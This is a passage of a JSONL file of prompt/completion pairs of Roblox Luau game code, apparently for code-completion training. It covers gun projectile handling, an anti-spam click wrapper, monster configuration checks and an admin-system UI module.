segmentDirection, length, segmentVelocity, cosmeticBulletObject)\n\t-- Whenever the caster steps forward by one unit, this function is called.\n\t-- The bullet argument is the same object passed into the fire function.\n\tif cosmeticBulletObject == nil then return end\n\tlocal bulletLength = cosmeticBulletObject.Size.Z / 2 -- This is used to move the bullet to the right spot based on a CFrame offset\n\tlocal baseCFrame = CFrame.new(segmentOrigin, segmentOrigin + segmentDirection)\n\tcosmeticBulletObject.CFrame = baseCFrame * CFrame.new(0, 0, -(length - bulletLength))\nend\n\nfunction OnRayTerminated(cast)\n\tlocal cosmeticBullet = cast.RayInfo.CosmeticBulletObject\n\tif cosmeticBullet ~= nil then\n\t\t-- This code here is using an if statement on CastBehavior.CosmeticBulletProvider so that the example gun works out of the box.\n\t\t-- In your implementation, you should only handle what you're doing (if you use a PartCache, ALWAYS use ReturnPart. If not, ALWAYS use Destroy.\n\t\tif CastBehavior.CosmeticBulletProvider ~= nil then\n\t\t\tCastBehavior.CosmeticBulletProvider:ReturnPart(cosmeticBullet)\n\t\telse\n\t\t\tcosmeticBullet:Destroy()\n\t\tend\n\tend\nend\n\nMouseEvent.OnServerEvent:Connect(function (clientThatFired, mousePoint)\n\tif not CanFire then\n\t\treturn\n\tend\n\tCanFire = false\n\tlocal mouseDirection = (mousePoint - FirePointObject.WorldPosition).Unit\n\tfor i = 1, BULLETS_PER_SHOT do\n\t\tFire(mouseDirection)\n\tend\n\tif FIRE_DELAY > 0.03 then wait(FIRE_DELAY) end\n\tCanFire = true\nend)\n\nCaster.RayHit:Connect(OnRayHit)\nCaster.RayPierced:Connect(OnRayPierced)\nCaster.LengthChanged:Connect(OnRayUpdated)\nCaster.CastTerminating:Connect(OnRayTerminated)\n\nTool.Equipped:Connect(function ()\n\tCastParams.FilterDescendantsInstances = {Tool.Parent, CosmeticBulletsFolder}\nend)\n\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nreturn {\n\t[\"Halloween 2022\"] = { {\n\t\t\ttitle = \"Halloween 2022!\", \n\t\t\tdesc = \"Participate in the Halloween 2022 Event!\", \n\t\t\tamount = 1, \n\t\t\tdifficulty = 2, \n\t\t\tsecret = true, \n\t\t\trewardType = \"Diamonds\", \n\t\t\treward = 10000\n\t\t} }\n};\n"} +{"prompt": "-- Define the maximum distance from the gun to the object that can be selected", "completion": "\nlocal maxDistance = 50\n"} +{"prompt": "--[[\n\tCreate a promise that represents the immediately rejected value.\n]]", "completion": "\nfunction Promise.reject(...)\n\tlocal length, values = pack(...)\n\treturn Promise._new(debug.traceback(nil, 2), function(_, reject)\n\t\treject(unpack(values, 1, length))\n\tend)\nend\n"} +{"prompt": "-- Class", "completion": "\n\nlocal DropdownClass = {}\nDropdownClass.__index = DropdownClass\nDropdownClass.__type = \"Dropdown\"\n\nfunction DropdownClass:__tostring()\n\treturn DropdownClass.__type\nend\n"} +{"prompt": "--[[\nlocal tmp = hits:Clone()\ntmp.Disabled=false\ntmp.Parent=L3\nlocal tmp = hits:Clone()\ntmp.Disabled=false\ntmp.Parent=L4\n]]", "completion": "\n\nwhile true do\n\tl=L1.Position\n\tangle=angle + DELTA\n\tL1.CFrame=CFrame.new( Vector3.new(l.X,l.Y,l.Z)) * CFrame.Angles(0, math.rad(angle), 0 )\n\n\tl=L2.Position\n\tangle=angle + DELTA\n\tL2.CFrame=CFrame.new( Vector3.new(l.X,l.Y,l.Z)) * CFrame.Angles(0, math.rad(angle+45), 0 )\n"} +{"prompt": "--local speed = script.Parent.Speed", "completion": "\nlocal tweenInfo = TweenInfo.new(\n\tspeed, -- Length (seconds)\n\tEnum.EasingStyle.Bounce,\n\tEnum.EasingDirection.Out,\n\t0, -- times repeared\n\tfalse, -- reverse\n\tdelayed -- delay\n)\n\ngoals[ 1 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -30 ), 0 )\ngoals[ 2 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -60 ), 0 )\ngoals[ 3 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -90 ), 0 )\ngoals[ 4 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -120 ), 0 )\ngoals[ 5 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -150 ), 0 )\ngoals[ 6 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -180 ), 0 )\ngoals[ 7 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -210 ), 0 )\ngoals[ 8 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -240 ), 0 )\ngoals[ 9 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -270 ), 0 )\ngoals[ 10 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -300 ), 0 )\ngoals[ 11 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -330 ), 0 )\ngoals[ 12 ] = spin.CFrame\n\nlocal i = 0\nwhile spinning do\n\ti = i % #goals + 1\n\n\tlocal tween = TweenService:Create( spin, tweenInfo, { CFrame = goals[ i ] } )\n\ttween:Play()\n\n\tlocal state = tween.Completed:Wait()\n\tif state == Enum.PlaybackState.Cancelled then\n\t\twarn( 'Tween cancelled' )\n\t\tbreak\n\tend\nend\n"} +{"prompt": "--\n-- Verify that everything is where it should be", "completion": "\nassert(Self:FindFirstChild'Humanoid' ~= nil, 'Monster does not have a humanoid')\nassert(Settings ~= nil, 'Monster does not have a Configurations object')\n\tassert(Settings:FindFirstChild'MaximumDetectionDistance' ~= nil and Settings.MaximumDetectionDistance:IsA'NumberValue', 'Monster does not have a MaximumDetectionDistance (NumberValue) setting')\n\tassert(Settings:FindFirstChild'CanGiveUp' ~= nil and Settings.CanGiveUp:IsA'BoolValue', 'Monster does not have a CanGiveUp (BoolValue) setting')\n\tassert(Settings:FindFirstChild'CanRespawn' ~= nil and Settings.CanRespawn:IsA'BoolValue', 'Monster does not have a CanRespawn (BoolValue) setting')\n\tassert(Settings:FindFirstChild'SpawnPoint' ~= nil and Settings.SpawnPoint:IsA'Vector3Value', 'Monster does not have a SpawnPoint (Vector3Value) setting')\n\tassert(Settings:FindFirstChild'AutoDetectSpawnPoint' ~= nil and Settings.AutoDetectSpawnPoint:IsA'BoolValue', 'Monster does not have a AutoDetectSpawnPoint (BoolValue) setting')\n\tassert(Settings:FindFirstChild'FriendlyTeam' ~= nil and Settings.FriendlyTeam:IsA'BrickColorValue', 'Monster does not have a FriendlyTeam (BrickColorValue) setting')\n\tassert(Settings:FindFirstChild'AttackDamage' ~= nil and Settings.AttackDamage:IsA'NumberValue', 'Monster does not have a AttackDamage (NumberValue) setting')\n\tassert(Settings:FindFirstChild'AttackFrequency' ~= nil and Settings.AttackFrequency:IsA'NumberValue', 'Monster does not have a AttackFrequency (NumberValue) setting')\n\tassert(Settings:FindFirstChild'AttackRange' ~= nil and Settings.AttackRange:IsA'NumberValue', 'Monster does not have a AttackRange (NumberValue) setting')\nassert(Mind ~= nil, 'Monster does not have a Mind object')\n\tassert(Mind:FindFirstChild'CurrentTargetHumanoid' ~= nil and Mind.CurrentTargetHumanoid:IsA'ObjectValue', 'Monster does not have a CurrentTargetHumanoid (ObjectValue) mind setting')\nassert(Self:FindFirstChild'Respawn' and Self.Respawn:IsA'BindableFunction', 'Monster does not have a Respawn BindableFunction')\nassert(Self:FindFirstChild'Died' and Self.Died:IsA'BindableEvent', 'Monster does not have a Died BindableEvent')\nassert(Self:FindFirstChild'Respawned' and Self.Died:IsA'BindableEvent', 'Monster does not have a Respawned BindableEvent')\nassert(Self:FindFirstChild'Attacked' and Self.Died:IsA'BindableEvent', 'Monster does not have a Attacked BindableEvent')\nassert(script:FindFirstChild'Attack' and script.Attack:IsA'Animation', 'Monster does not have a MonsterScript.Attack Animation')\n\n"} +{"prompt": "--[[\n\tAnti-Spam\n\tFor Click Detectors\n\n\t Wrap( FunctionToHook, OverrideNumberOfAttemptsAllowedBeforeCooldown)\n\n\tHow to use;\n\t\tgame:GetService(\"Workspace\").INSTANCE.ClickDetector.MouseClick:Connect(Wrap(function()\n\t\t\t--// Code here\n\t\tend), OPTIONALCLICKSPAMPARAMETER)\n\t\n\t\tOR\n\t\n\t\tgame:GetService(\"Workspace\").INSTANCE.ClickDetector.MouseClick:Connect(Wrap(FUNCTION), OPTIONALCLICKSPAMPARAMETER)\n\n\tPhoenix\n]]", "completion": "\n\nlocal AntiSpam = {} -- Index: Player | Key: Number of attempts\nlocal DelayQueue = {} -- Index: Player | Key: Delaying\nlocal DefaultSpam = 15\n\ncoroutine.wrap(function()\n\twhile true do\n\t\twait(0.25)\n\t\t\n\t\tfor Player, Attempts in pairs(AntiSpam) do\n\t\t\tif Attempts > 1 then\n\t\t\t\tAntiSpam[Player] = Attempts - 1\n\t\t\tend\n\t\tend\n\tend\nend)()\n\nreturn function(Function, OptionalCooldownParameter) --// Function that prevents spam for global controls eeeeyeeet\n\tlocal SpamStop\n\n\tif tonumber(OptionalCooldownParameter) ~= nil then\n\t\tSpamStop = tonumber(OptionalCooldownParameter)\n\telse\n\t\tSpamStop = DefaultSpam\n\tend\n\t\n local Delay = function(Player)\n DelayQueue[Player] = true\n \n wait(5)\n \n DelayQueue[Player] = false\n AntiSpam[Player] = 0\n end\n\n\t\n \n return function(Player)\n if AntiSpam[Player] == nil then\n AntiSpam[Player] = 0\n end\n \n if DelayQueue[Player] == nil then\n DelayQueue[Player] = false\n end\n\n if AntiSpam[Player] < SpamStop then\n AntiSpam[Player] = AntiSpam[Player] + 1\n Function(Player)\n elseif AntiSpam[Player] >= SpamStop and DelayQueue[Player] == false then\n Delay(Player)\n end\n end\nend\n"} +{"prompt": "-----------------------------------------------------------------------------------------------------------------", "completion": "\nfunction onKeyDown(key)\nif (key~=nil) then\nkey = key:lower()\n\nif (key==\"e\") then -- Toggle Patrol\nif Holstered == true then\nscript.Parent.Parent.Humanoid.WalkSpeed = 16\nGunUp()\nelseif Holstered == false then\nscript.Parent.Parent.Humanoid.WalkSpeed = 11\nGunDown()\nend end end end\nTool.Equipped:connect(onEquippedLocal)\n\n\n\n\n\n"} +{"prompt": "--// Processing", "completion": "\nreturn function()\n\tlocal _G, game, script, getfenv, setfenv, workspace,\n\t\tgetmetatable, setmetatable, loadstring, coroutine,\n\t\trawequal, typeof, print, math, warn, error, pcall,\n\t\txpcall, select, rawset, rawget, ipairs, pairs,\n\t\tnext, Rect, Axes, os, time, Faces, unpack, string, Color3,\n\t\tnewproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,\n\t\tNumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,\n\t\tNumberSequenceKeypoint, PhysicalProperties, Region3int16,\n\t\tVector3int16, require, table, type, wait,\n\t\tEnum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay =\n\t\t_G, game, script, getfenv, setfenv, workspace,\n\t\tgetmetatable, setmetatable, loadstring, coroutine,\n\t\trawequal, typeof, print, math, warn, error, pcall,\n\t\txpcall, select, rawset, rawget, ipairs, pairs,\n\t\tnext, Rect, Axes, os, time, Faces, unpack, string, Color3,\n\t\tnewproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,\n\t\tNumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,\n\t\tNumberSequenceKeypoint, PhysicalProperties, Region3int16,\n\t\tVector3int16, require, table, type, wait,\n\t\tEnum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay\n\n\tlocal UIFolder = client.UIFolder\n\n\tlocal script = script\n\n\tlocal service = service\n\tlocal client = client\n\n\tlocal GetEnv = GetEnv\n\n\tlocal Anti, Core, Functions, Process, Remote, UI, Variables, Deps\n\tlocal CloneTable, TrackTask\n\tlocal function Init()\n\t\tUI = client.UI;\n\t\tAnti = client.Anti;\n\t\tCore = client.Core;\n\t\tVariables = client.Variables\n\t\tFunctions = client.Functions;\n\t\tProcess = client.Process;\n\t\tRemote = client.Remote;\n\t\tDeps = client.Deps;\n\n\t\tCloneTable = service.CloneTable;\n\t\tTrackTask = service.TrackTask;\n\n\t\tUI.Init = nil;\n\tend\n\n\tlocal function RunLast()\n\t\t--[[client = service.ReadOnly(client, {\n\t\t\t\t[client.Variables] = true;\n\t\t\t\t[client.Handlers] = true;\n\t\t\t\tG_API = true;\n\t\t\t\tG_Access = true;\n\t\t\t\tG_Access_Key = true;\n\t\t\t\tG_Access_Perms = true;\n\t\t\t\tAllowed_API_Calls = true;\n\t\t\t\tHelpButtonImage = true;\n\t\t\t\tFinish_Loading = true;\n\t\t\t\tRemoteEvent = true;\n\t\t\t\tScriptCache = true;\n\t\t\t\tReturns = true;\n\t\t\t\tPendingReturns = true;\n\t\t\t\tEncodeCache = true;\n\t\t\t\tDecodeCache = true;\n\t\t\t\tReceived = true;\n\t\t\t\tSent = true;\n\t\t\t\tService = true;\n\t\t\t\tHolder = true;\n\t\t\t\tGUIs = true;\n\t\t\t\tLastUpdate = true;\n\t\t\t\tRateLimits = true;\n\n\t\t\t\tInit = true;\n\t\t\t\tRunLast = true;\n\t\t\t\tRunAfterInit = true;\n\t\t\t\tRunAfterLoaded = true;\n\t\t\t\tRunAfterPlugins = true;\n\t\t\t}, true)--]]\n\t\t\tUI.DefaultTheme = Remote.Get(\"Setting\",\"DefaultTheme\");\n\t\t\tUI.RunLast = nil;\n\tend\n\n\tgetfenv().client = nil\n\tgetfenv().service = nil\n\tgetfenv().script = nil\n\n\tclient.UI = {\n\t\tInit = Init;\n\t\tRunLast = RunLast;\n\t\tGetHolder = function()\n\t\t\tif UI.Holder and UI.Holder.Parent == service.PlayerGui then\n\t\t\t\treturn UI.Holder\n\t\t\telse\n\t\t\t\tpcall(function()if UI.Holder then UI.Holder:Destroy()end end)\n\t\t\t\tlocal new = service.New(\"ScreenGui\", {\n\t\t\t\t\tName = Functions.GetRandom(),\n\t\t\t\t\tParent = service.PlayerGui,\n\t\t\t\t});\n\t\t\t\tUI.Holder = new\n\t\t\t\treturn UI.Holder\n\t\t\tend\n\t\tend;\n\n\t\tPrepare = function(gui)\n\t\t\tif true then return gui end\t--// Disabled\n\n\t\t\tlocal gTable = UI.Get(gui,false,true)\n\t\t\tif gui:IsA(\"ScreenGui\") or gui:IsA(\"GuiMain\") then\n\t\t\t\tlocal new = Instance.new(\"TextLabel\")\n\t\t\t\tnew.BackgroundTransparency = 1\n\t\t\t\tnew.Size = UDim2.new(1,0,1,0)\n\t\t\t\tnew.Name = gui.Name\n\t\t\t\tnew.Active = true\n\t\t\t\tnew.Text = \"\"\n\n\t\t\t\tfor ind,child in ipairs(gui:GetChildren()) do\n\t\t\t\t\tchild.Parent = new\n\t\t\t\tend\n\n\t\t\t\tif gTable then\n\t\t\t\t\tgTable:Register(new)\n\t\t\t\tend\n\n\t\t\t\tgui:Destroy()\n\n\t\t\t\treturn new\n\t\t\telse\n\t\t\t\treturn gui\n\t\t\tend\n\t\tend;\n\n\t\tLoadModule = function(module, data, env)\n\t\t\tdata = data or {}\n\n\t\t\tlocal ran, func = pcall(require, module)\n\t\t\tlocal newEnv = GetEnv(env, {\n\t\t\t\tscript = module,\n\t\t\t})\n\n\t\t\tnewEnv.client = CloneTable(client)\n\t\t\tnewEnv.service = CloneTable(service)\n\t\t\tnewEnv.service.Threads = CloneTable(service.Threads)\n\n\t\t\tfor i,v in pairs(newEnv.client) do\n\t\t\t\tif type(v) == \"table\" and i ~= \"Variables\" and i ~= \"Handlers\" then\n\t\t\t\t\tnewEnv.client[i] = CloneTable(v)\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif ran then\n\t\t\t\tlocal rets = {\n\t\t\t\t\tTrackTask(\"UI: \".. module:GetFullName(),\n\t\t\t\t\t\tsetfenv(func,newEnv),\n\t\t\t\t\t\tdata,\n\t\t\t\t\t\tnewEnv\n\t\t\t\t\t)\n\t\t\t\t}\n\n\t\t\t\tif rets[1] then\n\t\t\t\t\treturn unpack(rets, 2)\n\t\t\t\telse\n\t\t\t\t\twarn(\"Error while running module\", module.Name, rets[2])\n\t\t\t\t\tclient.LogError(\"Error loading \".. module.Name ..\" - \".. tostring(rets[2]))\n\t\t\t\tend\n\t\t\telse\n\t\t\t\twarn(\"Error while loading module\", module.Name, tostring(func))\n\t\t\tend\n\t\tend;\n\n\t\tGetNew = function(theme, name)\n\t\t\tlocal foundConfigs = {}\n\t\t\tlocal endConfig = {}\n\t\t\tlocal endConfValues = {}\n\t\t\tlocal confFolder = Instance.new(\"Folder\")\n\t\t\tlocal debounce = false\n\t\t\tlocal function func(theme, name, depth)\n\t\t\t\tlocal depth = (depth or 11) - 1\n\t\t\t\tlocal folder = UIFolder:FindFirstChild(theme) or UIFolder.Default\n\t\t\t\tif folder then\n\t\t\t\t\tlocal baseValue = folder:FindFirstChild(\"Base_Theme\")\n\t\t\t\t\tlocal baseTheme = baseValue and baseValue.Value\n\t\t\t\t\tlocal foundGUI = folder:FindFirstChild(name) --local foundGUI = (baseValue and folder:FindFirstChild(name)) or UIFolder.Default:FindFirstChild(name)\n\n\t\t\t\t\tif foundGUI then\n\t\t\t\t\t\tlocal config = foundGUI:FindFirstChild(\"Config\")\n\t\t\t\t\t\ttable.insert(foundConfigs, {\n\t\t\t\t\t\t\tTheme = theme;\n\t\t\t\t\t\t\tFolder = folder;\n\t\t\t\t\t\t\tName = name;\n\t\t\t\t\t\t\tFound = foundGUI;\n\t\t\t\t\t\t\tConfig = config;\n\t\t\t\t\t\t\tisModule = foundGUI:IsA(\"ModuleScript\");\n\t\t\t\t\t\t})\n\n\t\t\t\t\t\tif config then\n\t\t\t\t\t\t\tbaseValue = config:FindFirstChild(\"BaseTheme\") or baseValue\n\t\t\t\t\t\t\tbaseTheme = baseValue and baseValue.Value\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tif baseTheme and depth > 0 then\n\t\t\t\t\t\tif UI.DefaultTheme and baseTheme == \"Default\" and theme ~= UI.DefaultTheme and not debounce then\n\t\t\t\t\t\t\tfunc(UI.DefaultTheme, name, depth)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tdebounce = true\n\t\t\t\t\t\t\tfunc(baseTheme, name, depth)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t--// Find GUI and all default versions under it\n\t\t\tfunc(theme, name)\n\t\t\tconfFolder.Name = \"Config\"\n\n\t\t\t--// Create the final config for the found GUI.\n\n\t\t\tif #foundConfigs > 0 then\n\t\t\t\t--// Combine all configs found in order to build full config (in order of closest from target gui to furthest)\n\t\t\t\tfor i,v in pairs(foundConfigs) do\n\t\t\t\t\tif v.Config then\n\t\t\t\t\t\tfor k,m in ipairs(v.Config:GetChildren()) do\n\t\t\t\t\t\t\tif not endConfig[m.Name] then\n\t\t\t\t\t\t\t\tendConfig[m.Name] = m\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\t--// Load all config values into the new Config folder\n\t\t\t\tfor i,v in pairs(endConfig) do\n\t\t\t\t\tv:Clone().Parent = confFolder;\n\t\t\t\tend\n\n\t\t\t\t--// Find next module based theme GUI if code not found or first in sequence is module (in theme)\n\t\t\t\tif foundConfigs[1].isModule then\n\t\t\t\t\treturn foundConfigs[1].Found, foundConfigs[1].Folder, confFolder\n\t\t\t\telseif not endConfig.Code then\n\t\t\t\t\twarn(\"Window config missing code.lua. Are your Base_Themes correct? client.UI.GetNew line 236\")\n\t\t\t\tend\n\n\t\t\t\t--// Get rid of an old Config folder and throw the new combination Config folder in\n\t\t\t\tlocal new = foundConfigs[1].Found:Clone()\n\t\t\t\tlocal oldFolder = new:FindFirstChild'Config'\n\n\t\t\t\tif oldFolder then oldFolder:Destroy() end\n\n\t\t\t\tconfFolder.Parent = new\n\t\t\t\treturn new, foundConfigs[1].Folder, confFolder\n\t\t\tend\n\t\tend;\n\n\t\tMake = function(name, data, themeData)\n\t\t\tlocal data = data or {}\n\t\t\tlocal defaults = {Desktop = \"Default\"; Mobile = \"Mobilius\"}\n\t\t\tlocal themeData = themeData or Variables.LastServerTheme or defaults\n\t\t\tlocal theme = Variables.CustomTheme or (service.IsMobile() and themeData.Mobile) or themeData.Desktop\n\t\t\tlocal folder = UIFolder:FindFirstChild(theme) or UIFolder.Default\n\t\t\tlocal newGui, folder2, foundConf = UI.GetNew(theme, name)\n\n\t\t\tif newGui then\n\t\t\t\tlocal isModule = newGui:IsA(\"ModuleScript\")\n\t\t\t\tlocal conf = newGui:FindFirstChild(\"Config\")\n\t\t\t\tlocal mod = conf and conf:FindFirstChild(\"Modifier\")\n\n\t\t\t\tif isModule then\n\t\t\t\t\treturn UI.LoadModule(newGui, data, {\n\t\t\t\t\t\tscript = newGui;\n\t\t\t\t\t})\n\t\t\t\telseif conf and foundConf and foundConf ~= true then\n\t\t\t\t\tlocal code = foundConf.Code\n\t\t\t\t\tlocal mult = foundConf.AllowMultiple\n\t\t\t\t\tlocal keep = foundConf.CanKeepAlive\n\n\t\t\t\t\tlocal allowMult = mult and mult.Value or true\n\t\t\t\t\tlocal found, num = UI.Get(name)\n\n\t\t\t\t\tif not found or ((num and num>0) and allowMult) then\n\t\t\t\t\t\tlocal gTable,gIndex = UI.Register(newGui)\n\t\t\t\t\t\tlocal newEnv = {}\n\n\t\t\t\t\t\tif folder:IsA(\"ModuleScript\") then\n\t\t\t\t\t\t\tnewEnv.script = folder\n\t\t\t\t\t\t\tnewEnv.gTable = gTable\n\t\t\t\t\t\t\tlocal ran,func = pcall(require, folder)\n\t\t\t\t\t\t\tlocal newEnv = GetEnv(newEnv)\n\t\t\t\t\t\t\tlocal rets = {pcall(setfenv(func,newEnv),newGui, gTable, data)}\n\t\t\t\t\t\t\tlocal ran = rets[1]\n\t\t\t\t\t\t\tlocal ret = rets[2]\n\n\t\t\t\t\t\t\tif ret ~= nil then\n\t\t\t\t\t\t\t\tif type(ret) == \"userdata\" and Anti.GetClassName(ret) == \"ScreenGui\" then\n\t\t\t\t\t\t\t\t\tcode = (ret:FindFirstChild(\"Config\") and ret.Config:FindFirstChild(\"Code\")) or code\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\treturn ret\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\tnewGui.Parent = Variables.GUIHolder\n\t\t\t\t\t\tnewGui.Name = Functions.GetRandom()\n\n\t\t\t\t\t\tdata.gIndex = gIndex\n\t\t\t\t\t\tdata.gTable = gTable\n\n\t\t\t\t\t\tcode.Parent = conf\n\t\t\t\t\t\tcode.Name = name\n\n\t\t\t\t\t\tif mod then\n\t\t\t\t\t\t\tUI.LoadModule(mod, data, {\n\t\t\t\t\t\t\t\tscript = mod;\n\t\t\t\t\t\t\t\tgTable = gTable;\n\t\t\t\t\t\t\t\tData = data;\n\t\t\t\t\t\t\t\tGUI = newGui;\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\treturn UI.LoadModule(code, data, {\n\t\t\t\t\t\t\tscript = code;\n\t\t\t\t\t\t\tgTable = gTable;\n\t\t\t\t\t\t\tData = data;\n\t\t\t\t\t\t\tGUI = newGui;\n\t\t\t\t\t\t})\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tprint(\"GUI\", name, \"not found\")\n\t\t\tend\n\t\tend;\n\n\t\tGet = function(obj,ignore,returnOne)\n\t\t\tlocal found = {}\n\t\t\tlocal num = 0\n\t\t\tif obj then\n\t\t\t\tfor ind,g in pairs(client.GUIs) do\n\t\t\t\t\tif g.Name ~= ignore and g.Object ~= ignore and g ~= ignore then\n\t\t\t\t\t\tif type(obj) == \"string\" then\n\t\t\t\t\t\t\tif g.Name == obj then\n\t\t\t\t\t\t\t\tfound[ind] = g\n\t\t\t\t\t\t\t\tnum = num+1\n\t\t\t\t\t\t\t\tif returnOne then return g end\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telseif type(obj) == \"userdata\" then\n\t\t\t\t\t\t\tif service.RawEqual(g.Object, obj) then\n\t\t\t\t\t\t\t\tfound[ind] = g\n\t\t\t\t\t\t\t\tnum = num+1\n\t\t\t\t\t\t\t\tif returnOne then return g end\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telseif type(obj) == \"boolean\" and obj == true then\n\t\t\t\t\t\t\tfound[ind] = g\n\t\t\t\t\t\t\tnum = num+1\n\t\t\t\t\t\t\tif returnOne then return g end\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\tif num<1 then\n\t\t\t\treturn false\n\t\t\telse\n\t\t\t\treturn found,num\n\t\t\tend\n\t\tend;\n\n\t\tRemove = function(name, ignore)\n\t\t\tlocal gui = UI.Get(name, ignore)\n\t\t\tif gui then\n\t\t\t\tfor i,v in pairs(gui) do\n\t\t\t\t\tv.Destroy()\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\n\t\tRegister = function(gui, data)\n\t\t\tlocal gIndex = Functions.GetRandom()\n\t\t\tlocal gTable;gTable = {\n\t\t\t\tObject = gui,\n\t\t\t\tConfig = gui:FindFirstChild'Config';\n\t\t\t\tName = gui.Name,\n\t\t\t\tEvents = {},\n\t\t\t\tClass = gui.ClassName,\n\t\t\t\tIndex = gIndex,\n\t\t\t\tActive = true,\n\t\t\t\tReady = function()\n\t\t\t\t\tif gTable.Config then gTable.Config.Parent = nil end\n\t\t\t\t\tlocal ran,err = pcall(function()\n\t\t\t\t\t\tlocal obj = gTable.Object;\n\t\t\t\t\t\tif gTable.Class == \"ScreenGui\" or gTable.Class == \"GuiMain\" then\n\t\t\t\t\t\t\tif obj.DisplayOrder == 0 then\n\t\t\t\t\t\t\t\tobj.DisplayOrder = 90000\n\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\t\tobj.Enabled = true\n\t\t\t\t\t\t\tobj.Parent = service.PlayerGui\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tobj.Parent = UI.GetHolder()\n\t\t\t\t\t\tend\n\t\t\t\t\tend);\n\n\t\t\t\t\tif ran then\n\t\t\t\t\t\tgTable.Active = true\n\t\t\t\t\telse\n\t\t\t\t\t\twarn(\"Something happened while trying to set the parent of\", gTable.Name)\n\t\t\t\t\t\twarn(err)\n\n\t\t\t\t\t\tgTable:Destroy()\n\t\t\t\t\tend\n\t\t\t\tend,\n\n\t\t\t\tBindEvent = function(event, func)\n\t\t\t\t\tlocal signal = event:Connect(func)\n\t\t\t\t\tlocal origDisc = signal.Disconnect\n\t\t\t\t\tlocal Events = gTable.Events\n\t\t\t\t\tlocal disc = function()\n\t\t\t\t\t\torigDisc(signal)\n\t\t\t\t\t\tfor i,v in pairs(Events) do\n\t\t\t\t\t\t\tif v.Signal == signal then\n\t\t\t\t\t\t\t\ttable.remove(Events, i)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\ttable.insert(Events, {\n\t\t\t\t\t\tSignal = signal;\n\t\t\t\t\t\tRemove = disc\n\t\t\t\t\t})\n\n\t\t\t\t\treturn {\n\t\t\t\t\t\tDisconnect = disc;\n\t\t\t\t\t\tdisconnect = disc;\n\t\t\t\t\t\twait = service.CheckProperty(signal, \"wait\") and signal.wait\n\t\t\t\t\t}, signal\n\t\t\t\tend,\n\n\t\t\t\tClearEvents = function()\n\t\t\t\t\tfor i,v in pairs(gTable.Events) do\n\t\t\t\t\t\tv:Remove()\n\t\t\t\t\tend\n\t\t\t\tend,\n\n\t\t\t\tDestroy = function()\n\t\t\t\t\tpcall(function()\n\t\t\t\t\t\tif gTable.CustomDestroy then\n\t\t\t\t\t\t\tgTable.CustomDestroy()\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tservice.UnWrap(gTable.Object):Destroy()\n\t\t\t\t\t\tend\n\t\t\t\t\tend)\n\t\t\t\t\tgTable.Destroyed = true\n\t\t\t\t\tgTable.Active = false\n\t\t\t\t\tclient.GUIs[gIndex] = nil\n\t\t\t\t\tgTable.ClearEvents()\n\t\t\t\tend,\n\n\t\t\t\tUnRegister = function()\n\t\t\t\t\tclient.GUIs[gIndex] = nil\n\t\t\t\t\tif gTable.AncestryEvent then\n\t\t\t\t\t\tgTable.AncestryEvent:Disconnect()\n\t\t\t\t\tend\n\t\t\t\tend,\n\n\t\t\t\tRegister = function(tab,new)\n\t\t\t\t\tif not new then new = tab end\n\n\t\t\t\t\tnew:SetSpecial(\"Destroy\", gTable.Destroy)\n\t\t\t\t\tgTable.Object = service.Wrap(new)\n\t\t\t\t\tgTable.Class = new.ClassName\n\n\t\t\t\t\tif gTable.AncestryEvent then\n\t\t\t\t\t\tgTable.AncestryEvent:Disconnect()\n\t\t\t\t\tend\n\n\t\t\t\t\tgTable.AncestryEvent = new.AncestryChanged:Connect(function(c, parent)\n\t\t\t\t\t\tif client.GUIs[gIndex] then\n\t\t\t\t\t\t\tif rawequal(c, gTable.Object) and gTable.Class == \"TextLabel\" and parent == service.PlayerGui then\n\t\t\t\t\t\t\t\twait()\n\t\t\t\t\t\t\t\tgTable.Object.Parent = UI.GetHolder()\n\t\t\t\t\t\t\telseif rawequal(c, gTable.Object) and parent == nil and not gTable.KeepAlive then\n\t\t\t\t\t\t\t\tgTable:Destroy()\n\t\t\t\t\t\t\telseif rawequal(c, gTable.Object) and parent ~= nil then\n\t\t\t\t\t\t\t\tgTable.Active = true\n\t\t\t\t\t\t\t\tclient.GUIs[gIndex] = gTable\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend)\n\t\t\t\t\tclient.GUIs[gIndex] = gTable\n\t\t\t\tend\n\t\t\t}\n\n\t\t\tif data then\n\t\t\t\tfor i,v in 